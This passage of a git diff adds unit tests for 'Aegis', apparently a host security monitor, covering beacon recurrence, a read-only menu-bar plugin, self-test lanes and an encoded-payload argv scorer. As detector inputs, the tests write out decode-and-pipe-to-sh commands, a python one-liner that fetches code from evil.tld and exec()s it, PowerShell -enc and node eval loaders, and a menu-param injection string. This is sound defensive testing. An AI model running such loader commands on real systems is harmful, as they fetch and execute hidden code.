"unsigned") + hist = history(row, 12) # far past every threshold + self.assertEqual(aegis._beacon_recurrence(hist, [row]), [], + "browser %r must stay silent" % name) + + def test_trusted_prefix_binary_stays_silent(self): + path = aegis.TRUSTED_PREFIXES[0] + "beacond" + # trust "broken" is suspicious on every platform, so only the + # trusted-prefix gate keeps this silent. + row = (path, "45.94.47.145", "8443", "broken") + self.assertEqual(aegis._beacon_recurrence(history(row, 6), [row]), []) + + def test_below_threshold_recurrence_stays_silent(self): + # Two scans only — even spanning hours. + two = history(self.row, 2, step=7200) + self.assertEqual(aegis._beacon_recurrence(two, [self.row]), []) + # Three scans but a span under 45 minutes. + tight = history(self.row, 3, step=600) + self.assertEqual(aegis._beacon_recurrence(tight, [self.row]), []) + + def test_pair_gone_from_current_scan_stays_silent(self): + # History satisfies the thresholds but the pair is no longer live — + # nothing to report as a persistent connection. + hist = history(self.row, 5) + self.assertEqual(aegis._beacon_recurrence(hist, []), []) + + def test_unvouchable_relative_comm_stays_silent(self): + # A row whose path never resolved (bare comm name) can't be graded — + # neither trust arm can vouch against it, so it must not fire. + row = ("claude", "45.94.47.145", "8443", "unknown") + self.assertEqual(aegis._beacon_recurrence(history(row, 6), [row]), []) + + +class TestBeaconThroughCheckOutbound(BeaconSandbox): + def _stub_platform(self): + self._saved.setdefault("_outbound_rows", aegis._outbound_rows) + aegis._outbound_rows = lambda: [(self.payload, "45.94.47.145", "8443")] + self._saved.setdefault("classify_signature", aegis.classify_signature) + aegis.classify_signature = lambda p: { + "trust": "unsigned", "team": None, "authority": None} + + def _seed_observation(self, age_secs, rows): + os.makedirs(aegis.OBSERVATIONS_DIR, mode=0o700, exist_ok=True) + name = "outbound.snapshot.%d.json.gz" % (int(time.time()) - age_secs) + with gzip.open(os.path.join(aegis.OBSERVATIONS_DIR, name), "wb") as f: + f.write(json.dumps(rows).encode("utf-8")) + + def test_scan_records_rows_and_flags_recurrence(self): + self._stub_platform() + stored = [list(self.row)] + self._seed_observation(3000, stored) # 50 minutes ago + self._seed_observation(1500, stored) # 25 minutes ago + fs = aegis.check_outbound() + beacons = [f for f in fs if f["fingerprint"].startswith("beacon:")] + self.assertEqual(len(beacons), 1) + self.assertEqual(beacons[0]["severity"], "HIGH") + # Live per-scan scoring is unregressed: the MEDIUM outbound finding + # keeps its original fingerprint alongside the recurrence HIGH. + self.assertTrue(any( + f["severity"] == "MEDIUM" and f["fingerprint"].startswith("outbound:") + for f in fs)) + # This scan's row set was recorded for the next scan to count. + names = [n for n in os.listdir(aegis.OBSERVATIONS_DIR) + if n.startswith("outbound.snapshot.")] + self.assertEqual(len(names), 3) + + def test_two_prior_scans_do_not_fire(self): + self._stub_platform() + self._seed_observation(3000, [list(self.row)]) # 1 prior + current = 2 + fs = aegis.check_outbound() + self.assertEqual( + [f for f in fs if f["fingerprint"].startswith("beacon:")], []) + + def test_probe_non_answer_records_nothing(self): + # An empty probe answer must not write an empty snapshot (a failed + # netstat is indistinguishable from a quiet machine at this level). + self._saved.setdefault("_outbound_rows", aegis._outbound_rows) + aegis._outbound_rows = lambda: [] + self.assertEqual(aegis.check_outbound(), []) + self.assertEqual( + [n for n in os.listdir(aegis.OBSERVATIONS_DIR) + if n.startswith("outbound.snapshot.")] + if os.path.isdir(aegis.OBSERVATIONS_DIR) else [], []) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_menubar.py b/tests/test_menubar.py new file mode 100644 index 0000000..c6257ef --- /dev/null +++ b/tests/test_menubar.py @@ -0,0 +1,382 @@ +#!/usr/bin/env python3 +"""Regression suite for the xbar/SwiftBar menu-bar plugin (menubar/aegis-status.30s.py). + +The plugin is a STANDALONE, stdlib-only, strictly READ-ONLY viewer of Aegis +state, so this suite exercises it the way xbar does: as a subprocess, against a +sandboxed fake state dir selected via AEGIS_STATE_DIR. It never imports the +plugin (the plugin never imports aegis either) and never touches real ~/.aegis. + +Every single invocation is wrapped in a full before/after inventory of the +sandbox (every path + size + mtime_ns), because the plugin's core doctrine is +that it is structurally incapable of writing Aegis state: a crashed assertion +here means the plugin created, deleted, or modified a file — a doctrine breach, +not a cosmetic bug. + +Run: python3 -m unittest discover -s tests (from the repo root) + or: python3 tests/test_menubar.py +""" +import json +import os +import shutil +import sqlite3 +import subprocess +import sys +import tempfile +import time +import unittest + +_REPO = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +PLUGIN = os.path.join(_REPO, "menubar", "aegis-status.30s.py") + +# Mirrors the incidents/meta/sensor_status tables of _EVENT_SCHEMA_SQL in +# aegis.py (the plugin reads only these three). Kept as a literal copy rather +# than imported, because the plugin's whole point is reading a db it did not +# create with code that imports nothing from aegis. +_SCHEMA = """ +CREATE TABLE meta (key TEXT PRIMARY KEY, value TEXT NOT NULL); +CREATE TABLE incidents ( + id INTEGER PRIMARY KEY, + kind TEXT NOT NULL, + correlation_key TEXT NOT NULL, + title TEXT NOT NULL, + severity TEXT NOT NULL, + status TEXT NOT NULL, + created_at INTEGER NOT NULL, + first_seen INTEGER NOT NULL, + last_seen INTEGER NOT NULL, + updated_at INTEGER NOT NULL, + reminder_count INTEGER NOT NULL DEFAULT 0, + next_reminder_at INTEGER, + last_notified_at INTEGER, + resolution TEXT +); +CREATE TABLE sensor_status ( + sensor_id TEXT PRIMARY KEY, + status TEXT NOT NULL, + last_run_at INTEGER NOT NULL, + last_ok_at INTEGER, + duration_ms INTEGER NOT NULL DEFAULT 0, + item_count INTEGER NOT NULL DEFAULT 0, + detail TEXT NOT NULL DEFAULT '', + consecutive_failures INTEGER NOT NULL DEFAULT 0, + episode_started_at INTEGER +); +""" + + +def _inventory(root): + """Full sandbox inventory: every dir + every file with size and mtime_ns. + atime is deliberately excluded (reading legitimately advances it); any + change in the path set, a size, or an mtime is a WRITE.""" + if not os.path.isdir(root): + return ("ABSENT", root) + entries = [] + for dirpath, dirnames, filenames in os.walk(root): + for name in dirnames: + entries.append(("dir", os.path.relpath(os.path.join(dirpath, name), root))) + for name in filenames: + p = os.path.join(dirpath, name) + st = os.stat(p) + entries.append(("file", os.path.relpath(p, root), + st.st_size, st.st_mtime_ns)) + return sorted(entries) + + +class MenubarBase(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="aegis-menubar-test-") + self.addCleanup(shutil.rmtree, self.tmp, True) + self.state = os.path.join(self.tmp, "state") + self.home = os.path.join(self.tmp, "home") + os.makedirs(self.home) + + # -- fixture builders ---------------------------------------------------- + def make_state(self): + os.makedirs(self.state, exist_ok=True) + return self.state + + def write_heartbeat(self, age_secs=0, **extra): + self.make_state() + beat = {"ts": "test", "epoch": int(time.time()) - age_secs, + "pid": 4242, "status": "ok", "alerts": 0, "top_alert": ""} + beat.update(extra) + with open(os.path.join(self.state, "heartbeat.json"), "w", + encoding="utf-8") as f: + json.dump(beat, f) + + def write_db(self, incidents=(), sensors=(), last_scan=None): + """incidents: (title, severity, status) tuples; sensors: + (sensor_id, status) tuples.""" + self.make_state() + db = sqlite3.connect(os.path.join(self.state, "aegis.db")) + db.executescript(_SCHEMA) + now = int(time.time()) + for title, severity, status in incidents: + db.execute( + "INSERT INTO incidents(kind,correlation_key,title,severity," + "status,created_at,first_seen,last_seen,updated_at) " + "VALUES('signal',?,?,?,?,?,?,?,?)", + ("key:" + title, title, severity, status, now, now, now, now)) + for sensor_id, status in sensors: + db.execute( + "INSERT INTO sensor_status(sensor_id,status,last_run_at) " + "VALUES(?,?,?)", (sensor_id, status, now)) + if last_scan is not None: + db.execute("INSERT INTO meta(key,value) VALUES('last_scan',?)", + (str(int(last_scan)),)) + db.commit() + db.close() + + def write_latest_md(self, body="# Aegis report - test\n\n_No findings._\n"): + self.make_state() + with open(os.path.join(self.state, "latest.md"), "w", + encoding="utf-8") as f: + f.write(body) + + def write_runtime(self): + """The install.sh runtime copy the dropdown actions point at.""" + self.make_state() + with open(os.path.join(self.state, "aegis.py"), "w", + encoding="utf-8") as f: + f.write("# fake runtime copy for the action lines\n") + + def healthy_state(self): + self.write_heartbeat(age_secs=60) + self.write_db(last_scan=time.time() - 120) + self.write_latest_md() + self.write_runtime() + + # -- the one way this suite ever runs the plugin -------------------------- + def run_plugin(self, state_dir=None): + """Run the plugin exactly as xbar would, with the READ-ONLY PROOF + wrapped around every invocation: the full sandbox inventory must be + byte-identical before and after, and the exit code must be 0 (a + non-zero xbar plugin renders NOTHING in the menu bar).""" + state_dir = state_dir or self.state + env = dict(os.environ) + env["AEGIS_STATE_DIR"] = state_dir + env["HOME"] = self.home # belt: even a ~ fallback stays sandboxed + env["PYTHONIOENCODING"] = "utf-8" + before = _inventory(state_dir) + proc = subprocess.run( + [sys.executable, PLUGIN], env=env, capture_output=True, + encoding="utf-8", errors="replace", timeout=30) + after = _inventory(state_dir) + self.assertEqual(before, after, + "plugin WROTE to the state dir — read-only doctrine " + "breached") + self.assertEqual(proc.returncode, 0, + "plugin exited non-zero (renders nothing in the menu " + "bar)\nstderr:\n%s" % proc.stderr) + return proc.stdout + + def title(self, out): + lines = [l for l in out.splitlines() if l.strip()] + self.assertTrue(lines, "plugin rendered no output at all") + return lines[0] + + +class TestPluginFile(MenubarBase): + def test_exists_is_executable_and_stdlib_shebang(self): + self.assertTrue(os.path.isfile(PLUGIN), "plugin file missing") + with open(PLUGIN, "r", encoding="utf-8") as f: + first = f.readline().strip() + self.assertEqual(first, "#!/usr/bin/env python3") + if os.name == "posix": + self.assertTrue(os.access(PLUGIN, os.X_OK), + "plugin must be chmod +x for xbar/SwiftBar") + + def test_plugin_never_imports_aegis_or_networking(self): + import ast + with open(PLUGIN, "r", encoding="utf-8") as f: + tree = ast.parse(f.read()) + imported = set() + for node in ast.walk(tree): + if isinstance(node, ast.Import): + imported.update(a.name.split(".")[0] for a in node.names) + elif isinstance(node, ast.ImportFrom): + imported.add((node.module or "").split(".")[0]) + for banned in ("aegis", "urllib", "socket", "http", "requests"): + self.assertNotIn(banned, imported, + "plugin must stay standalone and offline: %r" + % banned) + + +class TestHealthy(MenubarBase): + def test_healthy_state_is_shield_with_report_action(self): + self.healthy_state() + out = self.run_plugin() + self.assertIn("\U0001F6E1", self.title(out)) # 🛡️ + self.assertNotIn("⚠", self.title(out)) # no ⚠ when clean + self.assertIn("Open latest report", out) + self.assertIn("latest.md", out) + self.assertIn("Last scan", out) + self.assertIn("Heartbeat", out) + self.assertNotIn("not installed", out) + + def test_runtime_actions_use_xbar_shell_params(self): + self.healthy_state() + out = self.run_plugin() + self.assertIn("Incidents in Terminal", out) + self.assertIn("Scan now", out) + self.assertIn("shell=", out) + self.assertIn("terminal=true", out) + self.assertIn("param1=", out) + + +class TestIncidents(MenubarBase): + def test_open_high_incident_warns_with_count_and_title(self): + self.write_heartbeat(age_secs=60) + self.write_db( + incidents=[("Credential capture with persistence", "HIGH", "OPEN")], + last_scan=time.time() - 60) + out = self.run_plugin() + self.assertIn("⚠", self.title(out)) # ⚠ + self.assertIn("1", self.title(out)) + self.assertIn("Credential capture with persistence", out) + self.assertIn("color=orange", out) # worst severity colors the dropdown + + def test_incidents_count_all_but_list_caps_at_five_most_severe_first(self): + rows = [("noise incident %d" % i, "MEDIUM", "ACK") for i in range(6)] + rows.append(("the critical one", "CRITICAL", "OPEN")) + self.write_heartbeat(age_secs=60) + self.write_db(incidents=rows, last_scan=time.time()) + out = self.run_plugin() + self.assertIn("7", self.title(out)) # full count in title + listed = [l for l in out.splitlines() if "incident" in l.lower() + and "#" in l] + self.assertLessEqual(len(listed), 5) + self.assertIn("the critical one", out) + self.assertLess(out.index("the critical one"), + out.index("noise incident"), + "most severe must sort first") + + def test_resolved_incidents_do_not_count(self): + self.write_heartbeat(age_secs=60) + self.write_db(incidents=[("old news", "HIGH", "RESOLVED"), + ("was wrong", "HIGH", "FALSE_POSITIVE")], + last_scan=time.time()) + out = self.run_plugin() + self.assertIn("\U0001F6E1", self.title(out)) + self.assertNotIn("old news", out) + + def test_hostile_incident_title_cannot_forge_menu_params(self): + # A '|' in a title would let attacker-controlled db text inject xbar + # params (e.g. shell=) into its own dropdown line. The invariant: no + # attacker text may land in a PARAM segment (anything after a '|') — + # once its '|' is neutralized it is inert display text. + self.write_heartbeat(age_secs=60) + self.write_db(incidents=[ + ("evil | shell=/bin/sh param1=-c param2=pwned", "HIGH", "OPEN")], + last_scan=time.time()) + out = self.run_plugin() + for line in out.splitlines(): + if "evil" in line: + for params in line.split("|")[1:]: + self.assertNotIn("shell=", params) + self.assertNotIn("param2=pwned", params) + + +class TestDeadMonitor(MenubarBase): + def test_stale_heartbeat_is_skull(self): + self.write_heartbeat(age_secs=4 * 3600) # past the 3h tolerance + self.write_db(last_scan=time.time() - 4 * 3600) + out = self.run_plugin() + self.assertIn("\U0001F480", self.title(out)) # 💀 + self.assertIn("not beating", out.lower()) + + def test_missing_heartbeat_on_installed_state_is_skull(self): + # Same doctrine as cmd_watchdog: armed with no beat is DEAD, not fresh. + self.write_db(last_scan=time.time()) + self.write_latest_md() + out = self.run_plugin() + self.assertIn("\U0001F480", self.title(out)) + + def test_dead_monitor_outranks_open_incidents(self): + self.write_heartbeat(age_secs=4 * 3600) + self.write_db(incidents=[("still open", "CRITICAL", "OPEN")], + last_scan=time.time() - 4 * 3600) + out = self.run_plugin() + self.assertIn("\U0001F480", self.title(out), + "a dead monitor is the most important state") + self.assertIn("still open", out) # incidents still shown below + + def test_fresh_heartbeat_is_not_skull(self): + self.write_heartbeat(age_secs=30) + self.write_db(last_scan=time.time()) + out = self.run_plugin() + self.assertNotIn("\U0001F480", self.title(out)) + + +class TestNotInstalled(MenubarBase): + def test_absent_dir_is_calm_not_installed(self): + missing = os.path.join(self.tmp, "never-created") + out = self.run_plugin(state_dir=missing) + self.assertIn("not installed", out) + self.assertNotIn("\U0001F480", out) + self.assertNotIn("⚠", out) + + def test_empty_dir_is_calm_not_installed(self): + self.make_state() # exists but holds no aegis state at all + out = self.run_plugin() + self.assertIn("not installed", out) + self.assertNotIn("\U0001F480", out) + + +class TestResilience(MenubarBase): + def test_corrupt_db_and_heartbeat_still_render_a_title(self): + self.make_state() + with open(os.path.join(self.state, "aegis.db"), "wb") as f: + f.write(b"this is not a sqlite database " * 64) + with open(os.path.join(self.state, "heartbeat.json"), "w", + encoding="utf-8") as f: + f.write("{corrupt json!!") + out = self.run_plugin() + self.assertTrue(self.title(out)) + self.assertIn("---", out) # still a well-formed xbar menu + + def test_valid_db_missing_tables_degrades_not_crashes(self): + self.make_state() + db = sqlite3.connect(os.path.join(self.state, "aegis.db")) + db.execute("CREATE TABLE unrelated (x)") + db.commit() + db.close() + self.write_heartbeat(age_secs=60) + out = self.run_plugin() + self.assertTrue(self.title(out)) + + def test_oversized_heartbeat_is_bounded_not_slurped(self): + self.make_state() + with open(os.path.join(self.state, "heartbeat.json"), "w", + encoding="utf-8") as f: + f.write(" " * (1 << 22) + "{}") # 4 MB of padding + self.write_db(last_scan=time.time()) + out = self.run_plugin() + self.assertTrue(self.title(out)) + + +class TestReadOnlyProof(MenubarBase): + def test_full_state_inventory_identical_across_repeated_runs(self): + # run_plugin() already asserts before==after on EVERY invocation in + # this file; this test makes the doctrine explicit against the richest + # state (db + WAL-less db, heartbeat, report, runtime, quarantine dir) + # and repeated invocations. + self.healthy_state() + os.makedirs(os.path.join(self.state, "quarantine")) + with open(os.path.join(self.state, "quarantine", "manifest.json"), "w", + encoding="utf-8") as f: + f.write("{}") + baseline = _inventory(self.state) + for _ in range(3): + self.run_plugin() + self.assertEqual(baseline, _inventory(self.state)) + + def test_absent_dir_is_never_created(self): + missing = os.path.join(self.tmp, "never-created") + self.run_plugin(state_dir=missing) + self.assertFalse(os.path.exists(missing), + "plugin must never create the state dir") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_protective_tier.py b/tests/test_protective_tier.py index b583b96..1aa1927 100644 --- a/tests/test_protective_tier.py +++ b/tests/test_protective_tier.py @@ -542,6 +542,206 @@ def test_nonces_are_not_persisted(self): self.assertNotIn("nonce", blob.lower()) +# --------------------------------------------------------------------------- # +# Assay coverage for the surfaces added in THIS release. +# +# Five detectors shipped with no positive control: outbound beacon recurrence, +# the obfuscated-inline-payload argv scorer, community-intel grading, the +# Windows COM/IFEO/AppInit diffs, and Sysmon event scoring. An unassayed +# detector is exactly how the latch bug hid — reachable-looking, permanently +# silent, and nothing fails. +# +# Every test below pins a property of the LANES, not of the detectors (those +# have their own suites). The load-bearing one is `..._asserts_both_poles`: it +# swaps the underlying detector for a dead stub AND for a hardwired-yes stub +# and requires the lane to FAIL against both. A lane that only fed hostile +# input would survive the hardwired-yes stub, which is the failure mode the +# README's both-poles rule exists to prevent. +# --------------------------------------------------------------------------- # +class TestAssayCoversTheReleaseSurfaces(ProtectiveSandbox): + + REQUIRED = ("beacon-recurrence", "argv-obfuscation", "intel-match", + "win-evasion", "sysmon-scoring") + + # lane id -> (detector global, dead stub, hardwired-yes stub) + def _vacuity_table(self): + def f(sev, cat): + return [aegis.finding(sev, cat, "stub", "stub", "stub:%s" % cat)] + return { + "beacon-recurrence": ( + "_beacon_recurrence", + lambda history, rows: [], + lambda history, rows: f("HIGH", "net-beacon")), + "argv-obfuscation": ( + "_obfuscated_payload_signals", + lambda argv, idioms: [], + lambda argv, idioms: [("obfuscated-inline-payload", "HIGH"), + ("argv-encoded-loader", "HIGH")]), + "intel-match": ( + "_intel_hash_finding", + lambda sha, path, where: None, + lambda sha, path, where: f("CRITICAL", "intel")[0]), + "win-evasion": ( + "diff_ifeo", + lambda prior, cur: [], + lambda prior, cur: f("CRITICAL", "ifeo")), + "sysmon-scoring": ( + "_sysmon_findings", + lambda rows: [], + lambda rows: f("HIGH", "sysmon")), + } + + def setUp(self): + ProtectiveSandbox.setUp(self) + # The intel lane must be provably independent of the operator's real + # feed files: point them at sandbox paths holding junk, and reset the + # memo so a leak would show up as a lane failure rather than as a pass + # borrowed from whatever is cached. + self._intel_saved = { + k: getattr(aegis, k) for k in + ("INTEL_BAZAAR_FILE", "INTEL_THREATFOX_FILE", "_INTEL_CACHE")} + for name in ("INTEL_BAZAAR_FILE", "INTEL_THREATFOX_FILE"): + p = os.path.join(self.state, "junk-%s.json" % name.lower()) + with open(p, "w", encoding="utf-8") as fh: + fh.write('{"hashes": ["not-a-hash"], "net": {"x": 1}}') + setattr(aegis, name, p) + aegis._INTEL_CACHE = None + + def tearDown(self): + for k, v in self._intel_saved.items(): + setattr(aegis, k, v) + ProtectiveSandbox.tearDown(self) + + def _lane(self, lane_id): + lanes = {lid: fn for lid, _d, fn in aegis._assay_lanes()} + self.assertIn(lane_id, lanes, + "no positive control for %s" % lane_id) + return lanes[lane_id] + + def _asserts_both_poles(self, lane_id): + """A lane must fail against a DEAD detector and against a hardwired-yes + one. Only a control that feeds both poles can do both.""" + detector, dead, always = self._vacuity_table()[lane_id] + real = getattr(aegis, detector) + try: + setattr(aegis, detector, dead) + self.assertFalse(self._lane(lane_id)("nonce%s" % lane_id), + "%s passed against a DEAD %s — the lane never " + "checks the hostile pole" % (lane_id, detector)) + setattr(aegis, detector, always) + self.assertFalse(self._lane(lane_id)("nonce%s" % lane_id), + "%s passed against a hardwired-yes %s — the lane " + "never checks the benign pole" + % (lane_id, detector)) + finally: + setattr(aegis, detector, real) + + # --- presence + currently holds --------------------------------------- + def test_every_new_release_surface_has_a_lane(self): + lanes = {lid for lid, _d, _f in aegis._assay_lanes()} + for required in self.REQUIRED: + self.assertIn(required, lanes, + "detector %r shipped with no positive control" + % required) + + def test_each_new_lane_passes_and_is_nonce_parametric(self): + """Passing for one nonce could be a hardcoded fixture; passing for + several proves the stimulus is really built from the nonce.""" + for lane_id in self.REQUIRED: + fn = self._lane(lane_id) + for nonce in ("0011223344556677", "a" * 16, "f0f0f0f0f0f0f0f0"): + self.assertTrue(fn(nonce), "lane %r failed for nonce %r" + % (lane_id, nonce)) + + # --- the both-poles rule, enforced per lane --------------------------- + def test_beacon_recurrence_lane_asserts_both_poles(self): + self._asserts_both_poles("beacon-recurrence") + + def test_argv_obfuscation_lane_asserts_both_poles(self): + self._asserts_both_poles("argv-obfuscation") + + def test_intel_match_lane_asserts_both_poles(self): + self._asserts_both_poles("intel-match") + + def test_win_evasion_lane_asserts_both_poles(self): + self._asserts_both_poles("win-evasion") + + def test_sysmon_scoring_lane_asserts_both_poles(self): + self._asserts_both_poles("sysmon-scoring") + + # --- containment: what these lanes must NOT touch --------------------- + def test_the_new_lanes_open_no_socket(self): + """None of these five surfaces needs the network to be proven, and the + intel one would be a live IOC lookup if it did.""" + import socket + real = socket.socket + + def refuse(*a, **k): + raise AssertionError("an assay lane opened a socket") + try: + socket.socket = refuse + for lane_id in self.REQUIRED: + self.assertTrue(self._lane(lane_id)("5" * 16), lane_id) + finally: + socket.socket = real + + def test_the_new_lanes_write_no_state(self): + """The assay tier writes assay.json and nothing else. A lane that + recorded an observation or an incident would make running the + self-test change the data the self-test is about.""" + before = sorted(os.listdir(self.state)) + for lane_id in self.REQUIRED: + self.assertTrue(self._lane(lane_id)("6" * 16), lane_id) + self.assertEqual(before, sorted(os.listdir(self.state))) + self.assertFalse(os.path.exists(aegis.OBSERVATIONS_DIR)) + + def test_the_intel_lane_ignores_the_real_feed_files(self): + """It passes with the feed files holding junk, and leaves the memo + exactly as it found it — so it can never be a lookup against whatever + the operator happens to have downloaded.""" + self.assertTrue(self._lane("intel-match")("7" * 16)) + self.assertIsNone(aegis._INTEL_CACHE) + + def test_the_windows_lanes_run_on_this_host_either_way(self): + """The author's machine is macOS. These diffs are pure over dicts, so a + Windows-gated lane would be a control that is never actually run — the + exact shape of unproven coverage the assay tier exists to expose.""" + saved = aegis.IS_WIN + try: + for flag in (False, True): + aegis.IS_WIN = flag + for lane_id in ("win-evasion", "sysmon-scoring"): + self.assertTrue(self._lane(lane_id)("8" * 16), + "lane %r failed with IS_WIN=%s" + % (lane_id, flag)) + finally: + aegis.IS_WIN = saved + + def test_the_windows_lanes_restore_the_platform_globals(self): + """They must patch the platform flags to grade literal Windows paths — + and leaking IS_WIN or a synthetic prefix table into the process would + silently re-grade every later sensor in the same run.""" + watched = ("IS_WIN", "IS_MAC", "IS_LINUX", "TRUSTED_PREFIXES", + "RISKY_PREFIXES") + before = {k: getattr(aegis, k) for k in watched} + for lane_id in ("win-evasion", "sysmon-scoring"): + self.assertTrue(self._lane(lane_id)("9" * 16), lane_id) + for k in watched: + self.assertEqual(before[k], getattr(aegis, k), + "lane %r leaked %s" % (lane_id, k)) + + def test_the_argv_lane_uses_an_inert_nonce_tagged_blob(self): + """No real payload, ever: the encoded stimulus must be built from the + nonce at runtime, so nothing resembling a live loader is committed.""" + import inspect + src = inspect.getsource(aegis._assay_lanes) + self.assertNotIn("EICAR", src.upper()) + start = src.index("def lane_argv_obfuscation") + body = src[start:src.index("def ", start + 10)] + self.assertIn("nonce", body) + self.assertIn("AEGIS-ASSAY-INERT", body) + + # --------------------------------------------------------------------------- # # Clipboard interdiction # --------------------------------------------------------------------------- # diff --git a/tests/test_regression.py b/tests/test_regression.py index 4de7fad..0263352 100644 --- a/tests/test_regression.py +++ b/tests/test_regression.py @@ -10,7 +10,9 @@ Run: python3 -m unittest discover -s tests (from the repo root) or: python3 tests/test_regression.py """ +import base64 import contextlib +import hashlib import io import json import os @@ -180,6 +182,19 @@ def setUp(self): "CANARY_STATE": os.path.join(self.state, "canaries.json"), # vt_key must be sandboxed so no test reads or writes the real key. "VT_KEY_FILE": os.path.join(self.state, "vt_key"), + # Community-intel artifacts (aegis.py intel …). Pinned so a real + # feed the developer fetched into ~/.aegis/intel can never plant + # nondeterministic CRITICAL findings into scan-level tests. The + # parsed-set cache is reset for the same reason, in both + # directions: no test may see the real sets, and no later test may + # see a stale sandboxed set (the mtime-keyed cache would otherwise + # outlive tearDown's path restore). + "INTEL_DIR": os.path.join(self.state, "intel"), + "INTEL_BAZAAR_FILE": os.path.join(self.state, "intel", + "malwarebazaar.json"), + "INTEL_THREATFOX_FILE": os.path.join(self.state, "intel", + "threatfox.json"), + "_INTEL_CACHE": None, # The listener surface shells to lsof (live host state). Point it # at /usr/bin/true (rc 0, no output ⇒ empty snapshot) so scan-level # tests are deterministic; listener tests call the parse/diff @@ -1111,6 +1126,117 @@ def test_perl_regex_alternation_not_a_pipe(self): self.assertNotIn("pipe-to-interpreter", [n for n, _ in sigs], sigs) +# --------------------------------------------------------------------------- # +# N14b — obfuscated-payload argv tier: an interpreter's inline-code flag +# carrying an ENCODED payload the idiom tables have never seen. Gate 1 +# (interpreter + code-exec flag) is mandatory so arbitrary processes — Electron +# helpers, JWTs, cloud CLIs with giant opaque argv — are structurally out of +# scope; gate 2 is a long high-entropy base64-alphabet blob that really +# decodes, or an in-process decode+execute composition. MEDIUM alone (below +# the notify floor, corroboration fodder); HIGH only when the same argv also +# carries a fetch or feeds the blob into a recognized exec sink. +# --------------------------------------------------------------------------- # +class TestObfuscatedArgvPayload(Sandbox): + # Deterministic pseudo-random payload: 160 bytes -> 216 base64 chars, + # entropy ~5.8 bits/char, decodes. os.urandom would test the same thing + # non-reproducibly. + BLOB = base64.b64encode(b"".join( + hashlib.sha256(bytes([i])).digest() for i in range(5))).decode() + + def _sigs(self, argv): + return dict(aegis._argv_signals(argv)) + + def test_bash_c_blob_piped_to_sh_is_high(self): + # decode a >=100-char embedded blob straight into `sh` — the packed + # variant of the fileless pipeline; the blob feeds a recognized exec + # sink, so it is notify-grade even with no fetch in sight. + sigs = self._sigs('bash -c "echo %s | base64 -d | sh"' % self.BLOB) + self.assertEqual(sigs.get("obfuscated-inline-payload"), "HIGH", sigs) + + def test_bash_c_bare_blob_is_medium_below_notify(self): + # blob with NO fetch and NO exec sink: recorded corroboration only. + sigs = self._sigs('bash -c "echo %s > /tmp/staged"' % self.BLOB) + self.assertEqual(sigs.get("obfuscated-inline-payload"), "MEDIUM", sigs) + top = max(aegis.SEV_ORDER[s] for s in sigs.values()) + self.assertLess(top, aegis.SEV_ORDER["HIGH"], sigs) + + def test_node_eval_buffer_short_blob_is_loader_medium(self): + # the HexEval shape with a blob too short for the entropy gate: the + # decode+execute COMPOSITION is the signal (argv twin of the supply- + # chain js-encoded-loader), still below the notify floor alone. + sigs = self._sigs( + "node -e eval(Buffer.from('%s','base64').toString())" + % self.BLOB[:60]) + self.assertEqual(sigs.get("argv-encoded-loader"), "MEDIUM", sigs) + + def test_running_node_encoded_loader_process_fires(self): + # a RUNNING same-user node process carrying the full loader argv must + # produce a behavior finding through the real check_behavior path. + real = self._saved["check_behavior"] + argv = ("/usr/local/bin/node -e " + "eval(Buffer.from('%s','base64').toString())" % self.BLOB) + fake = [("4242", aegis._own_owner(), "/usr/local/bin/node", argv)] + saved = aegis._iter_processes + aegis._iter_processes = lambda: iter(fake) + try: + fs = real() + finally: + aegis._iter_processes = saved + hits = [f for f in fs if f["category"] == "behavior" + and "argv-encoded-loader" in f.get("markers", ())] + self.assertTrue(hits, fs) + # full-length blob + eval() exec sink -> notify-grade. + self.assertEqual(hits[0]["severity"], "HIGH", hits) + + def test_fetch_plus_decode_is_high(self): + sigs = self._sigs( + 'python3 -c "import urllib.request,base64;' + "exec(base64.b64decode(urllib.request.urlopen(" + "'https://evil.tld/p').read()))\"") + self.assertEqual(sigs.get("argv-encoded-loader"), "HIGH", sigs) + + def test_powershell_enc_yields_single_strongest_signal(self): + # `-enc ` is already the powershell-encoded-command idiom (HIGH, + # unambiguous): one argv, one strongest signal — the obfuscation tier + # must not double-report the same blob. + sigs = self._sigs("powershell -NoProfile -enc %s" % self.BLOB) + self.assertEqual(sigs.get("powershell-encoded-command"), "HIGH", sigs) + self.assertNotIn("obfuscated-inline-payload", sigs, sigs) + + def test_plain_python_oneliner_is_silent(self): + self.assertEqual(aegis._argv_signals('python3 -c "print(1+1)"'), []) + + def test_long_low_entropy_english_arg_is_silent(self): + arg = "pleasewaitwhilewedownloadyourpackagesandrebuildthecaches" * 4 + sigs = self._sigs('bash -c "echo %s"' % arg) + self.assertNotIn("obfuscated-inline-payload", sigs, sigs) + + def test_uuid_path_run_is_not_a_blob(self): + # Found on the real process table: a harness `bash -c` whose argv + # embeds a long tmp path with hex-UUID segments clears the entropy + # floor (measured 4.84). The structural tell is the alphabet mix — + # '/' (std base64) together with '-' (base64url) decodes under no + # base64 flavor, so a path can never pass _b64_decodable. + path = ("/private/tmp/claude-501/-Users-charlie-Documents-Work---" + "Projects/b2b95d18-f83a-481f-bced-b3bb7799cea0/scratchpad/" + "run-4ac5698e761166b1da2a57cc80e/out") + sigs = self._sigs('bash -c "python3 %s 2>/dev/null || true"' % path) + self.assertNotIn("obfuscated-inline-payload", sigs, sigs) + + def test_electron_giant_flags_structurally_unscored(self): + # no code-exec flag -> gate 1 never opens, whatever the arg entropy. + argv = ("/Applications/Chat.app/Contents/Frameworks/Chat Helper " + "(Renderer).app/Contents/MacOS/Chat Helper (Renderer) " + "--type=renderer --enable-features=WebRTCPipeWireCapturer " + "--service-request-token=%s" % self.BLOB) + self.assertEqual(aegis._argv_signals(argv), []) + + def test_opaque_cli_token_unscored(self): + # cloud CLIs legitimately pass giant opaque args; no inline-code flag. + self.assertEqual(aegis._argv_signals( + "aws s3 cp --sse-customer-key %s s3://bkt/key ./f" % self.BLOB), []) + + # --------------------------------------------------------------------------- # # N15 — check_behavior: same-user filtering + never flags Aegis itself. # --------------------------------------------------------------------------- # @@ -2282,6 +2408,298 @@ def fake_urlopen(req, timeout=0): self.assertEqual(seen["key"], "secret") +class _FakeFeedResp: + """Minimal urlopen()-shaped response for the intel transport stub.""" + + def __init__(self, payload): + self._payload = payload + + def __enter__(self): + return self + + def __exit__(self, *a): + return False + + def read(self, n=-1): + return self._payload if n is None or n < 0 else self._payload[:n] + + +# 